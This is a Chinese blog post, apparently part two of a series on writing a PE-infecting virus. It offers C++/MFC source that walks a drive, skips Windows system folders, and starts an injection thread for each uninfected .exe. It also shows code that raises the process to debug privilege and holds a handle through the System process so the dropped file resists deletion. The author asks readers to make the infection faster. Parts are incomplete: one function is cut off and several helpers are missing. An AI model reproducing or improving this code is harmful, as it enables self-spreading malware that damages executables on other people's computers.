PE型感染病毒 —— 遍历磁盘PE文件 (2)

自己在测试过程中,感觉效率不是很好,所以希望哪位大佬能提出宝贵的意见,在此深表感谢!

 

1、遍历磁盘中PE文件

  1. /************************************************************************/  
  2. /* 函数说明:遍历感染指定驱动器中所有exe文件 
  3. /* 参    数:驱动器名称,如C: 
  4. /* 返 回 值:遍历的数目 
  5. /* By:Koma   2009.12.18 23:55 
  6. /************************************************************************/  
  7. int EmuDiskFiles(LPCTSTR lpStr)  
  8. {  
  9.     CFileFind   fd;  
  10.     CString     strWild(lpStr);  
  11.     CString     str = fd.GetFilePath();         // 获取每个文件的绝对路径  
  12.     int         nTemp = 0;                      // 最大启动5个线程同时感染  
  13.     BOOL        bRet;  
  14.     HANDLE      hThread;  
  15.     DWORD       dwTid;  
  16.     strWild += _T("//*.*");                     // 查找类型  
  17.     bRet = fd.FindFile(strWild);                // 开始查找  
  18.     while (bRet){                               // 如果不为空,继续遍历  
  19. ReEmu:      bRet = fd.FindNextFile();           // 查找下一个文件  
  20.         if(fd.IsDots())                         // 过滤目录自身与上层目录  
  21.             continue;  
  22.         else if(fd.IsDirectory()){              // 判断是否为文件夹  
  23.             CString str = fd.GetFilePath();     // 获取文件夹路径  
  24.             EmuDiskFiles(str);                  // 继续遍历子目录  
  25.         }  
  26.         else  
  27.         {  
  28.             int nTemp1 = str.Find("WINDOWS");   // 如果是XP系统目录则跳过  
  29.             int nTemp2 = str.Find("WINNT"); // 如果是WIN2000系统目录也跳过  
  30.             if(nTemp1>0 || nTemp2>0)  
  31.                 goto ReEmu;  
  32.             if(str.Find(".exe")>0){          // 判断是否为exe扩展名  
  33.                 if(!IsInfect(str))              // 判断是否感染过  
  34.                 {  
  35.                     di.m_strFilePath = str;     // 设置感染文件的绝对路径  
  36.                     hThread = CreateThread (NULL, 0, (unsigned long (__stdcall *)(void *))ThreadInject,(LPVOID)(&diInject),NULL,&dwTid);   
  37.                     WaitForSingleObject(hThread,INFINITE);  
  38.                     //InfectPE(str);  
  39.                 }  
  40.                 continue;  
  41.             }  
  42.         }  
  43.         Sleep(10000);                           // 10秒种遍历一个文件  
  44.     }  
  45.     return 0;  
  46. }  

 

2、进程提权、保护文件

  1. /************************************************************************/  
  2. /* 函数说明:提升进程权限到debug权限 
  3. /* 参    数:无 
  4. /* 返 回 值:无 
  5. /* By:Koma   2009.12.17 21:20 
  6. /************************************************************************/  
  7. void RaiseToDebug()  
  8. {  
  9.     HANDLE hToken;  
  10.     HANDLE hProcess = GetCurrentProcess();      // 获取当前进程句柄   
  11.       
  12.     // 打开当前进程的Token,就是一个权限令牌,第二个参数可以用TOKEN_ALL_ACCESS  
  13.     if (OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))  
  14.     {  
  15.         TOKEN_PRIVILEGES tkp;  
  16.         if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid))  
  17.         {  
  18.             tkp.PrivilegeCount = 1;  
  19.             tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  
  20.               
  21.             //通知系统修改进程权限  
  22.             BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);  
  23.         }  
  24.         CloseHandle(hToken);  
  25.     }      
  26. }  
  27. /************************************************************************/  
  28. /* 函数说明:保护文件防止被轻易删除 
  29. /* 参    数:无 
  30. /* 返 回 值:无 
  31. /* By:Koma   2009.12.17 21:42 
  32. /************************************************************************/  
  33. BOOL OccupyFile(LPCTSTR lpFileName)   
  34. {   
  35.     RaiseToDebug();                             // 提升权限   
  36.       
  37.     // 打开syetem进程,打开前必须赋予PROCESS_DUP_HANDLE权限   
  38.     HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 4);  
  39.     if (hProcess == NULL)   
  40.     {   
  41.         hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 8);   
  42.         if (hProcess == NULL)   
  43.             return FALSE;   
  44.     }   
  45.       
  46.     HANDLE hFile = NULL;   
  47.     HANDLE hTargetHandle = NULL;   
  48.       
  49.     // 创建一个文件,当然这个文件可以是本来就存在的   
  50.     hFile = CreateFile(lpFileName, GENERIC_READ | GENERIC_EXECUTE | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);      
  51.       
  52.     if (hFile == INVALID_HANDLE_VALUE)   
  53.     {   
  54.         // 文件创建或打开失败   
  55.         CloseHandle( hProcess );   
  56.         return FALSE;   
  57.     }  
  58.     return TRUE;  

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值